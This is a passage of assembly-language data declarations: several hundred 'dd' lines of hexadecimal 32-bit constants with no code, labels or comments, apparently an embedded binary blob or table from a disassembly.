		dd 96D6BA07h, 1E2FA692h, 0C165935Ah, 3F89EF5Ch,	0CA9B53D6h
		dd 808DA2B5h, 0D38843B2h, 97DDE65Ah, 0C562C876h, 8B825701h
		dd 58523B35h, 0B718F030h, 256F9CEFh, 78C1F69Bh,	0E4253E5Bh
		dd 77BCFB06h, 9FE1052Bh, 314651h, 6A392BCBh, 0C87789D2h
		dd 5512455Bh, 0BCC912EAh, 3BEB1CECh, 69BA4A38h,	73FF00F4h
		dd 2948D56Ah, 5957040Dh, 8A1464D2h, 8E93C52Dh, 0F644E8C1h
		dd 158D587Bh, 817E162Ch, 2E34DCDBh, 0EFDED731h,	0D769286Bh
		dd 310B5994h, 0C90B5ECFh, 14DD15ABh, 6D37A1E7h,	3A40F8F0h
		dd 1AE88E9h, 863863CDh,	0FDC5D102h, 0F7555926h,	1F7D1FC8h
		dd 0E91C3D04h, 4EBA4F01h, 5162C35h, 0FFEDE6C4h,	81FB9D35h
		dd 98319437h, 68C17EABh, 0E5091919h, 8B8B754Ah,	0C5AD1F7Bh
		dd 0ED50CD1h, 0C24C29A0h, 55EF69FDh, 33094D18h,	0E644C082h
		dd 0FE50406h, 0AF05EFC1h, 18D424A0h, 0C4F9574h,	0B09E24Bh
		dd 682368AEh, 0BF7242F4h, 1CF0D0E4h, 5E97CE94h,	778067BAh
		dd 0B1529755h, 0FD2934BAh, 50B92B31h, 0F2810563h, 0F5D1D37h
		dd 0C9E93E41h, 0B24B3438h, 93F1CA65h, 12FAD8A7h, 0FA013D3Bh
		dd 34A7C8Ah, 92BE5629h,	30260DA1h, 4814BA5Eh, 9A3C463h
		dd 5F0110DFh, 0E899F533h, 0A1562802h, 707521E9h, 0BA17B17Bh
		dd 0E23E0094h, 0E9EA01FEh, 79C93h, 0EE6329B9h, 0D900F702h
		dd 0DAF18141h, 0B8FD119Ch, 523C0A2Bh, 2C23AA3h,	14843FEAh
		dd 0B9EFB883h, 2E7E83B9h, 0D0F77690h, 86700619h, 5E326FE9h
		dd 95A1584Eh, 0D82A992Ah, 0B92D5EFAh, 49E2D979h, 2622DBC0h
		dd 0E90EBC05h, 905745F6h, 31F232AEh, 0E9870BD4h, 19F90A51h
		dd 0ADE045DCh, 68500A38h, 88C42782h, 42A47FB3h,	7AE52916h
		dd 9002F78h, 0E920FF61h, 9B9313B8h, 5F1F180Dh, 14ACF170h
		dd 0FF2A0D5Ah, 0FB2BFA01h, 3A29E908h, 0E2D8FCA5h, 0EE32D628h
		dd 0F6C3035Ch, 0F19C8261h, 1C831C12h, 35007BFh,	0AA59A2C7h
		dd 0B534AB6Ch, 5AC0242Bh, 0B8185FCBh, 49CA06B5h, 7A3C1241h
		dd 0C97BAF09h, 3218001Fh, 9D186964h, 25805F76h,	7B7F032Ah
		dd 499B0B05h, 2109F16Fh, 0C927D904h, 0B3462444h, 44E3FD4Bh
		dd 0A400FE92h, 93744C7h, 0C76D945Eh, 0BB0ABC20h, 9BE5830Fh
		dd 70654BDCh, 525E2F08h, 3B5095DEh, 5B14B733h, 5A9EC249h
		dd 4E8F20F4h, 71750Ch, 7DFC9C2Eh, 71BE31E0h, 4E685782h
		dd 35657556h, 2351CCBh,	840FC909h, 0E25439C3h, 0D8CD03A7h
		dd 0CA1262Eh, 0BC51A5F0h, 0A337C11Ch, 0B50B50F5h, 0DB1E8671h
		dd 0C9E14B8Bh, 55617ECFh, 0B2014625h, 30ACDC6Fh, 6C6848C3h
		dd 836F1929h, 22C2AF31h, 0DA5E7B98h, 4203BC12h,	383FB753h
		dd 6258A506h, 3D09CC25h, 760D8E73h, 813A919Fh, 2F5DB67h
		dd 0DC3941ADh, 0F527B601h, 0C8402ABEh, 2A62F3EFh, 0E197A044h
		dd 100D1F03h, 0BBE31C1h, 19F585Dh, 61D9CD4Eh, 6B9AC76Bh
		dd 87CB5B21h, 0ECD521DDh, 14E376Bh, 9540C8CAh, 6851808Dh
		dd 8E42F504h, 40EB5911h, 0B76CBAD7h, 0D834E94Ch, 0AEF54208h
		dd 4F684230h, 8916C65Ah, 72165E5Bh, 0EEB446A9h,	403867C8h
		dd 810243F1h, 5842B3CBh, 4297E27Bh, 0C7C899B4h,	6809E66Ch
		dd 547967D4h, 0F9430683h, 0CB700341h, 2966D676h, 64C480B5h
		dd 18608E26h, 485067EEh, 4AABB84Eh, 2C78CCF1h, 84ABF697h
		dd 0E2010D88h, 12EA016Ch, 0D1594302h, 40EF2A20h, 0CA7A3175h
		dd 2320B6A0h, 6BD68780h, 0D15C0642h, 7DAE62A7h,	20F52240h
		dd 0E9948F0Bh, 0B01440FFh, 95D4EE6Ch, 0CD73289h, 0B80506CDh
		dd 63763C6h, 448BE98Ah,	385F0987h, 82EB864Dh, 23831060h
		dd 52061B1Fh, 30CDD00Ch, 0F6DB1EB1h, 579E52D1h,	7E36CAEFh
		dd 4686A52Fh, 5D491601h, 3D358012h, 2B059A79h, 3E8C140h
		dd 5D2D2E80h, 0BD89F08Bh, 3AB7D250h, 2891613Dh,	3F880B05h
		dd 0D12FB3FFh, 0DF4C636Dh, 1398F253h, 979E808h,	7EB8183h
		dd 5455321Eh, 86562ED7h, 31AA0E6h, 0D37716E0h, 0A7E941CCh
		dd 669E4C51h, 2E93ABD0h, 95AF97E7h, 1C42AF44h, 2E4F8903h
		dd 3B0520B7h, 450D5B44h, 4AFB5FE9h, 5987F43Fh, 520BD3B0h
		dd 57049272h, 6555A89h,	9598BD0h, 509C6855h, 57366330h
		dd 535BF802h, 0AB9D2DE9h, 0BC907584h, 8B904B5Ah, 85D48848h
		dd 21404547h, 0E8C05DB0h, 6867305h, 5AE9CDFEh, 0C4BF23B9h
		dd 0FD293781h, 57D2FC90h, 0C9EC514Ah, 2F32D6B1h, 50829F34h
		dd 0C6C22011h, 0F184807h, 0D010DAF7h, 3EC50CD3h, 0FA68D731h
		dd 3E855F4Bh, 65ABC0EEh, 0F08D904h, 27FC98E9h, 0BF0D928h
		dd 32FCF6AEh, 1391F173h, 0F0C9FA04h, 0D8F6A27Fh, 0E266CA84h
		dd 490CC013h, 6876BA43h, 9842DA25h, 9642CCCh, 0F2294873h
		dd 487D6477h, 3D274ED0h, 12BC6CF1h, 0F6A32F5Dh,	4E8D8810h
		dd 6F7FAFB4h, 4BC49F5Fh, 6FE919h, 7AAE7636h, 1230CD81h
		dd 40F9956h, 0D0152915h, 0F9F7669Fh, 7F2C8EB8h,	91D29E70h
		dd 5238A776h, 360DBF02h, 8B751359h, 0EB3C0064h,	0F21AEF45h
		dd 7DF9B2F0h, 64FC2EADh, 2D400551h, 0C257C016h,	5A2D2F9Dh
		dd 88C4D878h, 1801EADEh, 2268146Bh, 0C73DFB94h,	40885174h
		dd 4B932DEDh, 0E96A6205h, 8CAB26AFh, 0F941F469h, 0E0E9F12Fh
		dd 0A095F15Bh, 7B6AEE85h, 0A25F4865h, 225D994h,	7D20D01Eh
		dd 0BB533A7Ah, 0E3C798Ah, 442C00A5h, 0EB314D58h, 291FE917h
		dd 79EEA5Dh, 81210413h,	0CEF42AC7h, 4F169506h, 94CDB520h
		dd 0C2A88258h, 1C7DA0B2h, 4F44A410h, 0E193FC14h, 987F1C4Fh
		dd 0D65F1B0Ah, 809F21EDh, 875AA96Dh, 0A6FFF7F3h, 0EB017108h
		dd 2D845816h, 7932730h,	5074B2Ah, 77E14E33h, 6B0E4AE9h
		dd 22D61937h, 0C96A95F4h, 51009853h, 62E940B5h,	9BEA4ECh
		dd 347C74A1h, 3A0D1F11h, 0C280C400h, 0F4D388F0h, 0F0A69DC4h
		dd 62A0D920h, 14832A5h,	1BA9297h, 0AB39597Bh, 0FA9B6148h
		dd 61505E02h, 132A3753h, 0A548AD47h, 40B432A0h,	0E02B67Ch
		dd 286BED80h, 0A96FC3F5h, 0A3705A66h, 6005B8F3h, 2A352860h
		dd 6975AD1Bh, 3A30A300h, 51250D12h, 2D4602CDh, 0F6FDD3EDh
		dd 17961DFh, 3F852D3Ah,	0F5E95731h, 0B926C73Bh,	0B73B945Dh
		dd 0C72EB8D0h, 67C23719h, 0DB717DEEh, 750CD202h, 0CB525D1Fh
		dd 894DC597h, 0DDA293E9h, 9A575257h, 3443D0BCh,	0AA1EE1EEh
		dd 0BD24DD39h, 0F68D4EC7h, 7F246975h, 6EAD71C7h, 0A07290Ch
		dd 81E868C5h, 0F21A2EBAh, 0E9D6E44Ch, 26143A5Fh, 0A93F19CFh
		dd 0AC555F2Ch, 256F6B08h
		dd 851824F7h, 0A62BDFB1h, 9B347C5Eh, 95F318ABh,	0B7589C44h
		dd 688B1E65h, 9D4F7069h, 0E9899F4Dh, 0FE198972h, 9C69CF24h
		dd 2E68F240h, 4230725Fh, 861503h, 8141591Eh, 6F07FDE9h
		dd 900C7660h, 955D8BC7h, 4927287Eh, 0BFF8D5B7h,	556FEB0Eh
		dd 463AE08Ah, 2812023Fh, 0F77B4014h, 67F468D9h,	0DB6050B4h
		dd 9873CF0Eh, 7546012Ch, 0E7C17623h, 0B7128004h, 507A2113h
		dd 93025E9h, 2D96A4A0h,	0E1A03A1Dh, 47303889h, 6AC00C1Fh
		dd 0C14F5827h, 0F7655020h, 0BF948EA2h, 89AECCBAh, 7CAD3692h
		dd 54F9B68Bh, 9874E9A8h, 0BD463D50h, 7D601ED1h,	0BF2B2053h
		dd 42F9A568h, 163C2524h, 6491213h, 59C38AC3h, 0D6EFC18Bh
		dd 0D0D3001Fh, 0E768135Ch, 4C970F53h, 18C01813h, 168CBA3Ch
		dd 0E82AE57Ch, 2E1794CDh, 2515CF55h, 33AA67C9h,	0C074C6Eh
		dd 2B1B1FA6h, 5504BE73h, 0B87154E9h, 0D04CCF13h, 25E6D137h
		dd 42785E3h, 90E785CDh,	93FDF3E9h, 31A4FE0Fh, 1145A6DDh
		dd 8BC7BF6Ch, 0F4247713h, 12119EEEh, 2FB3F186h,	150D1E05h
		dd 0D1E7C462h, 0DCDAF6DFh, 219F296Ch, 9A18B0BEh, 2730B88Ch
		dd 0F30FEFF1h, 647A7C33h, 68A6FA50h, 0DAC14E39h, 5ED1C357h
		dd 0E00BEC93h, 0DE68E956h, 2DD84BF7h, 4EAB000h,	230F9C05h
		dd 0A95B1A86h, 64D84C5h, 0B27D210Bh, 65868532h,	9164F80h
		dd 3640B7DEh, 0E2A8017Ah, 5AE2209Eh, 57CCC29Fh,	0A67951A5h
		dd 0D3D0606h, 0BDE2850h, 0CC59FECDh, 7B895500h,	0FA9D670Ah
		dd 5F088182h, 0CF9A1771h, 10D57631h, 0B914A9F2h, 1081202h
		dd 9A5E80EDh, 880C877Fh, 2D906641h, 0B86065A3h,	8E7C205Ch
		dd 0AD47B73Bh, 0BA22603Eh, 0D4C0598h, 0EBD33126h, 0CB2A552Dh
		dd 0FC910C90h, 0EEB1C68h, 6A1F78A2h, 248C3C0h, 505A4258h
		dd 0C641EA18h, 4C530B98h, 0E5045717h, 6C011626h, 71AA668Ch
		dd 0F071EE68h, 8D0CC162h, 2B1E2421h, 0F5F03B87h, 7FA750FEh
		dd 42E50574h, 0C038EB1Ch, 6C60299Eh, 0EA487574h, 8BF23F5Ah
		dd 0A86EE071h, 0A602DDF0h, 843A0C4Eh, 0EB440E9Bh, 22828006h
		dd 1258A7D6h, 9D5E20E4h, 404B6D46h, 0CE085613h,	3F9B10CDh
		dd 52830780h, 0F420CE88h, 130595Ah, 515866E6h, 0F728BCB1h
		dd 0E9F1E0D7h, 0A894C92Ah, 0BD685340h, 14522750h, 26224516h
		dd 72DE69CFh, 5F4F29D0h, 1D672E6h, 2351A351h, 0C7AC3065h
		dd 3B05491Dh, 8EE9DF4Eh, 78CB13ADh, 0E139A418h,	0F9E4D788h
		dd 0C197EAB0h, 0D328FC6Fh, 97A1ED4Fh, 53DD62B6h, 0FB8957D3h
		dd 0FF7BCC47h, 0FC05E765h, 0CEC8C66Ah, 0DA630173h, 6C685D09h
		dd 0D74E2C18h, 0F22627E2h, 70802581h, 625E48B9h, 9EB164Eh
		dd 0FC601864h, 2D0BF705h, 78406D56h, 350200D2h,	746BE398h
		dd 2480C589h, 0E09AD234h, 2B5BFA73h, 4D294E3h, 0E9798518h
		dd 59E32F72h, 64E2747h,	0A8F8535Bh, 93FC64C6h, 1C35CD0Ch
		dd 0CECA4015h, 0AECB5D14h, 6F2900C1h, 629C9A8Ch, 0D5689A31h
		dd 6FFD13CAh, 0C326258Bh, 42959B0Ah, 0A495DF2Bh, 0E9CD90ADh
		dd 1DA748CBh, 904CA181h, 48A72C0Ah, 0A052892h, 550D2999h
		dd 0FBD9F3B4h, 0EF01407Fh, 480F0541h, 0BE02AEB3h, 41A00DEBh
		dd 4392F7F4h, 0AF52B15Eh, 0F89A87EAh, 0B0909E94h, 759EF30h
		dd 4704D12Ch, 3BDDEE28h, 0E07E9F78h, 306B726Bh,	0DD393DCBh
		dd 0EC1A085Bh, 4F56859h, 49E181C5h, 0F1E9BC2Eh,	0F66FBDA7h
		dd 3AC94188h, 0E90B98B3h, 0C56B0A5Eh, 0C5553C27h, 57854906h
		dd 0B72FE854h, 5A88A0D2h, 0E102A0EFh, 0ED315A30h, 6946488h
		dd 0A8E84FD3h, 5DBE6856h, 0CC87ED07h, 0BE7AA45Bh, 5036C900h
		dd 4BC14E64h, 0A356C0E1h, 405F2316h, 0FD0B7416h, 34BA5506h
		dd 682D1D86h, 36F4AA0h,	0A359209Fh, 262EE378h, 20CFF329h
		dd 1F0CC008h, 8122932Dh, 154ECD0Fh, 0C602D382h,	0A025641Dh
		dd 6A30758Bh, 0EDE3B7CFh, 0F27B530Dh, 0DDE3125Ah, 53E90802h
		dd 0CFAEAA63h, 4F7D2090h, 3DEBBCFEh, 0F8BC9532h, 543C09D2h
		dd 0D2E18270h, 2E12220h, 38B3A580h, 31494AD1h, 787B27A8h
		dd 0E530505Bh, 0A206DD32h, 0D897FE7Bh, 90DA480Dh, 0A051C5B7h
		dd 0B80050DAh, 64FE7F39h, 2D4404B9h, 0F5085B72h, 2D5201B4h
		dd 7E493AB1h, 1242B2D8h, 0EF215540h, 0C3314D0Ah, 69F1253Bh
		dd 0DF6D4B3Eh, 7F8A5E2Dh, 0E1DCAB99h, 2AE114E9h, 8B9F75A3h
		dd 339918B5h, 69E66A54h, 53ACE913h, 0A12DABCAh,	73F71FDh
		dd 75C3883Dh, 0E2CBC443h, 9A3513B9h, 0D68428BEh, 9E615A4Ah
		dd 0A33FABE2h, 0FCBC2733h, 17742D61h, 0F873B0E0h, 120F9020h
		dd 0A03699CDh, 5E4F7716h, 0B95B01DBh, 1DEA88FAh, 0B904602Bh
		dd 3181270Ch, 498B66C0h, 0B1184F09h, 0D08D4992h, 86303046h
		dd 0B9190D1Fh, 32F29015h, 0F7571BA3h, 3C76D391h, 506D464h
		dd 32A10E58h, 0C2812DE9h, 68B496E9h, 9CFC48Eh, 8812C8F9h
		dd 3E1FA71Fh, 52B41755h, 0C7C034FCh, 76E1405Bh,	627F6CC1h
		dd 5361726Dh, 0EFEDA5C2h, 0A80512AEh, 0EA9F4092h, 44701109h
		dd 64EF86Dh, 13B9317h, 8821CCAh, 45F9542h, 0C4E266B8h
		dd 602C023Eh, 0EE5E9271h, 0DA7B041h, 0AE416DC3h, 882FF99Ah
		dd 0CF0A68F7h, 0FC523845h, 4FD6EA07h, 0B5E97A93h, 0E7C0E6D0h
		dd 0CA05B707h, 0E500C764h, 35C7AC44h, 0EEB97A5Fh, 0F9F75CF0h
		dd 58426814h, 0AAFDD6A8h, 70E95082h, 0E0D15148h, 0DF2EA5A3h
		dd 6C895A5Ah, 9E60E407h, 0E3808074h, 8CE9CF99h,	0F7CFAF5Eh
		dd 0A713DF49h, 0D44CF360h, 213F1618h, 824D8ECDh, 962202C1h
		dd 48ABCC9Eh, 9207F551h, 4D164111h, 21A3EC3h, 25D4CA19h
		dd 0DF3482h, 4BB95101h,	94904C61h, 0E8F5D116h, 3F408E00h
		dd 0F4580FC9h, 4CDF7292h, 4A259D8Ch, 0BFC553E7h, 0C5113h
		dd 0FC27D99h, 1C521488h, 0C86DE865h, 4A145509h,	79F39C6h
		dd 41716066h, 35D4E760h, 184B6EFBh, 2D174A00h, 81B4B0E9h
		dd 0A9AB5727h, 0D18C3102h, 0AE08850Ah, 0F7800109h, 28F988F2h
		dd 7528A27Dh, 0F6400679h, 0EC780DFh, 36B55132h,	908AE5C7h
		dd 0E0E9F0C5h, 0E0F2FB4Eh, 0A1C048DFh, 0BF215D16h, 918F305Eh
		dd 9F09E801h, 0C525AFFFh, 25A4AEEBh, 0C5140CCDh, 0A00E5D6Ch
		dd 26FF4818h, 3930FF2h,	0E00538D7h, 0C28D711Eh,	7852D99h
		dd 650EAB5Fh, 776F015Ah, 0B23E525Bh, 27EC97DEh,	0EF3E1696h
		dd 3BE93430h, 0F8B981B6h, 60E78119h, 0A8DCF21Ah, 8859CA02h
		dd 7E16D8D1h, 16974FA9h, 0FA26C4CBh, 0E25FD22Eh, 0EDB5B492h
		dd 533306Bh, 262575D8h,	9C6C248h, 9D9B1007h, 73EB523h
		dd 69DFE913h, 0B65B55C8h, 0E7265895h, 0BFAAEEB5h, 76424DF3h
		dd 89937DF0h, 98A9F2C2h, 890CE181h, 7C09E94Bh, 0D45C25A0h
		dd 7B42B018h, 325F4170h, 58B0B661h, 0FEBF0B05h,	9D5BAE09h
		dd 9BB15105h, 0C17207EFh, 4CE93325h, 54303A91h,	70A3816Dh
		dd 895800E8h, 95E1EF0h,	0AC31FFC1h, 31D2F728h, 8A036E38h
		dd 915ECEB8h, 0D8423502h, 0D0746210h, 2F8BDEDh,	0DE724909h
		dd 9B54C2Bh, 6EBF3918h,	426882D7h, 27FD4B1h, 129D017Bh
		dd 0A4A8B40h, 0F352C760h, 944FEEE9h, 2D14B943h,	0C300886Eh
		dd 5B1F5F14h, 4D3DBF7h,	657D4600h, 7050233h, 4E409FB6h
		dd 9D4879E9h, 0D69964A8h, 806BB481h, 69D51E4h, 0D0F4813Fh
		dd 7FE78853h, 0F0C933C2h, 49D89DE2h, 0C8E77D54h, 0B050531Fh
		dd 4E8C0C3h, 6A20102Ch,	3A5A2C55h, 0D95F701h, 5B207A37h
		dd 0CFE18B01h, 1A08ECB2h
		dd 11FE24C1h, 0FF000F96h, 2960E231h, 0E060050Ch, 0BD014FC0h
		dd 64DA9390h, 0BD5B0A6Bh, 61E3E989h, 0B4EC5BE6h, 7AE3BDEDh
		dd 55F29193h, 0E5B9ABA0h, 482DD957h, 15DFE21h, 4E24AEE3h
		dd 0A6F23A66h, 0B1851ACEh, 0CEDA0162h, 5194FDB3h, 34DD6ED4h
		dd 68F6EFFDh, 0C1CE5C6Eh, 0D80BC0B1h, 0B9F05F02h, 0A7BEE79Dh
		dd 292A1AD2h, 0C721DAF2h, 702A857h, 0EBF3A9Eh, 1D87BE9h
		dd 0E20DD9B5h, 0BD00DBD1h, 58B25083h, 7B036B30h, 555F741Ah
		dd 0D97504F2h, 0A7264C66h, 6AB93D13h, 0E69F0D03h, 0D709FA79h
		dd 17835302h, 318B5876h, 81F86875h, 6A0117CDh, 5C590466h
		dd 0D80912C0h, 2D997682h, 0A087AE7h, 0A4301323h, 0BBCB7493h
		dd 0B7045D53h, 454BABD4h, 475A929h, 0AE3C0Ch, 0CB4AE616h
		dd 68175835h, 4CCC36A2h, 6EFB4147h, 0CB834C93h,	7AA01A2Ah
		dd 7860EFBDh, 284F6B5Ch, 84072EDh, 87D1955Bh, 1D717663h
		dd 8BF46891h, 4BF423C6h, 76A4E9C0h, 4C9B04Dh, 0D0486FC9h
		dd 4350C20Dh, 91F46FFh,	6E191D03h, 0EFD0B60Bh, 2C2D599Fh
		dd 503D10C9h, 0D30CEA4Bh, 0C12BC35h, 0E3370FABh, 1970132h
		dd 537FF340h, 25F1F80Dh, 1FCB6913h, 0D0E383A1h,	0B8DF84DEh
		dd 7175E21Fh, 8FE9107Dh, 106B4C27h, 2F7B15D0h, 0ADA20B87h
		dd 5806600Eh, 4AD9FEDDh, 0E51CF8B6h, 739D6680h,	0F722168Ch
		dd 0A236FBDDh, 1EAB160Ch, 1E9B840h, 0A7336DBDh,	2720EF01h
		dd 65595F2Eh, 0CC53EE12h, 40D01DA0h, 0E277281Ah, 9878642Dh
		dd 195E0D6Dh, 0BE506542h, 3D247F40h, 2D2F4A83h,	53F221CEh
		dd 0D230C20Ch, 25686376h, 5594BD3h, 241C8F88h, 8A5D1A69h
		dd 54C7AAFCh, 0B7B817C4h, 5565662Dh, 0BF6BE986h, 42F8B5C7h
		dd 496F8E09h, 32E55F0Dh, 0B172770Bh, 8D67F28h, 0F7D10BC0h
		dd 0B78B55FEh, 60A27C0Dh, 6BF5362Bh, 2AEB584Bh,	38BE4FECh
		dd 3A13CFAFh, 0AF5758E4h, 8F25C5FCh, 0D74B829h,	8B454A7h
		dd 0D427DDE6h, 55531ECEh, 5414DCEAh, 0D83CBF5Ah, 0E154FC5Bh
		dd 0D265D968h, 0B595D696h, 57F42007h, 5230FD00h, 0A46928BAh
		dd 25CABC6Ah, 7D5E12DFh, 5B13C453h, 392149BEh, 0F2818DE0h
		dd 7E515E09h, 6E46001Eh, 0B514C721h, 0E1155D05h, 0E87E21B4h
		dd 49984FCAh, 0F6EB1F60h, 4CE17A7Ch, 5E26E433h,	3F950858h
		dd 48AEBD02h, 3EECE0E5h, 0D95581E1h, 0F6DC5001h, 0C50980D5h
		dd 0F3EE884Fh, 5EF62D68h, 77F69D3Fh, 0E9068FBFh, 0E1A3965Bh
		dd 0E484E897h, 0C9BA7B53h, 68ED0909h, 5FDC892Eh, 14BE700Bh
		dd 0A45AD8B2h, 0BF722486h, 34E8953Eh, 0A660F3BFh, 6852001Eh
		dd 223670FAh, 0B9805A5Fh, 4AC98F0Bh, 0ACE0F4DDh, 49395B5Fh
		dd 9C42E02Eh, 6C975F45h, 264600BDh, 6C4FE937h, 7BB7C0A8h
		dd 2DE0AF4Ah, 5E410B3Ah, 27B017Dh, 8ABB4D13h, 8764026Dh
		dd 7D2928E9h, 0BA95B850h, 412CB24Ah, 0AB05A144h, 0E33F92B5h
		dd 0B900D2F9h, 346C7F38h, 0E9CF1221h, 4F6EDA0h,	2E3D0D5Ch
		dd 558B21C1h, 0BF82DC3Fh, 716F1F0Bh, 16835831h,	132F2B6Dh
		dd 9FECA382h, 20195648h, 1EA28B2h, 0BF2300Ch, 8076F875h
		dd 0DD211F5Bh, 5739A4DAh, 85466904h, 8C28804Ch,	0EBB85D35h
		dd 0B02745B5h, 0AB52F978h, 9DC6D297h, 0BF1761D3h, 2FE9FE03h
		dd 0EE3100E7h, 3BB719F3h, 0AAFAF001h, 0A1950A62h, 0C930F509h
		dd 0E4BD010Dh, 4ACBE8B3h, 9F57F451h, 5DFEDF69h,	72209B64h
		dd 0FD293BD7h, 0B3849B93h, 4CD91C2Eh, 92AC5B38h, 5379A9B7h
		dd 58C176CBh, 20264D64h, 0B6040F1Bh, 0F081AC59h, 0E381DFF0h
		dd 0B325D9EDh, 6BD7ED77h, 51592F03h, 96949F54h,	0BE02F7FCh
		dd 1FDE3A18h, 84039D61h, 83462A54h, 32800BC4h, 4E877EF9h
		dd 31C2C180h, 10D579CEh, 0AE4A8F48h, 0D8DEF129h, 685C0BA9h
		dd 6DB165A3h, 0B5122EF9h, 9A1A68BAh, 7AD5A59h, 695D7917h
		dd 2B92D2A5h, 408A4E66h, 0E071E90Ch, 572992B7h,	414EA3ECh
		dd 0F3808980h, 0CBFE39E1h, 2C9FE14Fh, 68530000h, 9BB1E6Dh
		dd 4215B5Bh, 16F183F0h,	0ECC989ABh, 0CEB7F407h,	31DC9798h
		dd 3089C669h, 0B82EECBFh, 0CB0B6492h, 0D5F029A0h, 0F260CA32h
		dd 3F2FE94Bh, 20CEEC5Ch, 6595B2C0h, 0A7AD8BBBh,	0D1F01B74h
		dd 7DB32C68h, 5D5C2C0h,	69C26766h, 7780E951h, 32DD1D0Bh
		dd 8558D71Dh, 0E7BAC348h, 1B8A47BAh, 579E348Ah,	0CF588D4Dh
		dd 0E5A8C83Ah, 0FD54D540h, 10C9F66Eh, 680BD9E4h, 9AFC3EF3h
		dd 2F9DE958h, 78920112h, 9E9E0274h, 225AD7E6h, 794751A1h
		dd 0B9A53B89h, 0EC84B055h, 9E0A484Ah, 0C0B76A15h, 27196882h
		dd 0DF2238D7h, 0DCF5C402h, 48400083h, 2876DE35h, 0C897437Dh
		dd 45274D1Ch, 2E8045Ch,	99B4A987h, 0BA31B2D0h, 80B3AD2Fh
		dd 689EEB80h, 772062C3h, 0A4773F9h, 0CD005B93h,	731E665Fh
		dd 9D35B057h, 48BFB596h, 124E05E7h, 0F1721D48h,	5B070257h
		dd 0DD68CEB0h, 2028CCBFh, 0F77DE206h, 6201CE98h, 579D40Eh
		dd 3AE027EAh, 23D528E9h, 467995CBh, 9D4E0E2h, 69D31003h
		dd 0E6C5DD12h, 1F059752h, 5880249Ch, 1291D043h,	158C129h
		dd 8078FCB5h, 0D6DA62h,	82015D13h, 41D44FF0h, 12E50670h
		dd 0C48F36A9h, 0A334C5FCh, 0B65630F6h, 484E4115h, 39000A29h
		dd 81061D45h, 311D74E9h, 754B61DCh, 80A2270h, 6FAC5C10h
		dd 0D1BB60C4h, 0CCF4C929h, 549F01C1h, 17266C67h, 60E02A41h
		dd 0FF037C2Ch, 3D3A1D2Bh, 9EC79F78h, 0E960B302h, 173850EFh
		dd 0F85E575Ah, 0F7805DEh, 94FB402Fh, 5E080C6Eh,	600AD0Eh
		dd 0B2526E88h, 0BFC2FE4Eh, 3FA1953Ah, 529EEAE9h, 0C4AB1CB9h
		dd 0CD48A6D1h, 0FD78FE0Ah, 525294C2h, 0F12555F3h, 0FE5E8C93h
		dd 0EA67C2h, 22E85A55h,	0C1948097h, 3B3CCE9Bh, 0A9DBC9E9h
		dd 5BB9D0A3h, 4462A0D7h, 5366036Fh, 2043BB90h, 334F00BFh
		dd 4B1EE976h, 9FABE9FBh, 1F7905FFh, 34C214C2h, 0CBF601Dh
		dd 387CB44Ah, 0FFF97E51h, 3DA12287h, 0E055F9C5h, 0CB1DE7BDh
		dd 4C585D22h, 0D0E44BFh, 630F79C8h, 0D7932012h,	66EC475Bh
		dd 87AFC2A7h, 3872600Fh, 4E882E0Ah, 2563DD34h, 1CF22922h
		dd 0A02937EAh, 8016FF24h, 0F78B2Ch, 622D66BCh, 585FF989h
		dd 3A5F31Eh, 0D3E63813h, 35825618h, 0EEF28CC2h,	7158532Fh
		dd 68E9C2C8h, 0BA2D865Eh, 9DA70068h, 0A0075832h, 3067B4DEh
		dd 2D0C574Ch, 504A1455h, 0CACCC85h, 112CFAB5h, 0E9F73866h
		dd 0E22D8993h, 5688C17Bh, 0BC3B349Fh, 209F7E96h, 0C8098680h
		dd 0BE560246h, 0F3D61FDh, 4AC0E2F7h, 0E88708ADh, 856C4A02h
		dd 2EC0D574h, 1BE1753h,	4AFC10Bh, 6CEC1C4Dh, 81E68184h
		dd 8369C9DDh, 0FE2B9EF8h, 45EEE07Bh, 1A0E241Ch,	3B6A1CB5h
		dd 88284FCh, 0CF8E5A93h, 47F654A1h, 805B50B0h, 0D8E0B3C3h
		dd 182E58B8h, 86490801h, 9532C47Eh, 7EA69679h, 0E4A8D692h
		dd 0F059BD5Ah, 95FC4DE9h, 6201A2F2h, 0C136732Dh, 984102EAh
		dd 0A43A2A97h, 5326CF15h, 5E096362h, 1D647210h,	6C834906h
		dd 7F8008B4h, 91A046Fh,	0C8C001BCh, 5913C171h, 3E4FCFFCh
		dd 10D2C2CCh, 260F0738h, 3D16A416h, 83963E02h, 4E46F71Bh
		dd 4C5FE910h, 80CEFE03h, 0E6986EC6h, 0B138517Dh, 593C7BFAh
		dd 1E04B0C0h, 2D81E9C4h, 3A770108h, 59F5C922h, 2015D660h
		dd 0F8970125h, 0D1B820C0h, 445FFCC1h, 8BEC7FEAh, 234910Ah
		dd 0CFC88E43h, 5EBAD80h, 65904535h, 807BB82h, 63449B5Ah
		dd 64DF4373h, 321A4A82h
		dd 0CC8B77EBh, 6809FBF6h, 8996D6DBh, 44CE4D3Bh,	735315B0h
		dd 0F7E90BA9h, 1DC96615h, 96C61E64h, 3A02BF46h,	542A4CE9h
		dd 0EBF5971Dh, 0A5D6460Fh, 88FF517Ch, 0E73F81EFh, 1EEA0F9Eh
		dd 34562CE9h, 0A1844BBAh, 7FCE21D1h, 37B22381h,	0C5D048E4h
		dd 365D1093h, 0E09F51FAh, 4B83352Fh, 64930455h,	71BB00BDh
		dd 76BF27Ah, 68D0F793h,	0BF9889A9h, 58185B50h, 39BCE3C1h
		dd 0EEC1A8DCh, 1492C29h, 82B0220Bh, 0B2B74008h,	0FDC2E122h
		dd 0B85EC932h, 20D52788h, 30260BE4h, 516635C7h,	11B56891h
		dd 3E030607h, 0A2EC5D09h, 59113948h, 304187E7h,	5947DD09h
		dd 8CFAFA31h, 55C3327Ah, 1A72FAE8h, 8CBB7CA8h, 16F14D04h
		dd 4DFCDBF7h, 1FC82C12h, 948EA744h, 0FED06FA4h,	0EBD052B2h
		dd 17060C1Ch, 5680163h,	80FB9F96h, 0EE7B998Eh, 0F1EF293Eh
		dd 8A0889CAh, 5F2D4732h, 6F213230h, 8DF81C4Ah, 0B892E9C2h
		dd 5B7971F4h, 3986DC29h, 0CC3C0DB0h, 43102559h,	0D1F7B1F4h
		dd 80F4FFE0h, 0FC0F6851h, 6432C407h, 8EFAC6CEh,	0B9AD5A33h
		dd 56E7F093h, 2478F27h,	0ED30AF0h, 0F028CDD7h, 229576A5h
		dd 0DBF2E686h, 5BDD89ACh, 0C24F0593h, 575906D2h, 0FA4A26E0h
		dd 0F551B9C9h, 8355FA16h, 89776D83h, 811CFDC1h,	685BD91Ch
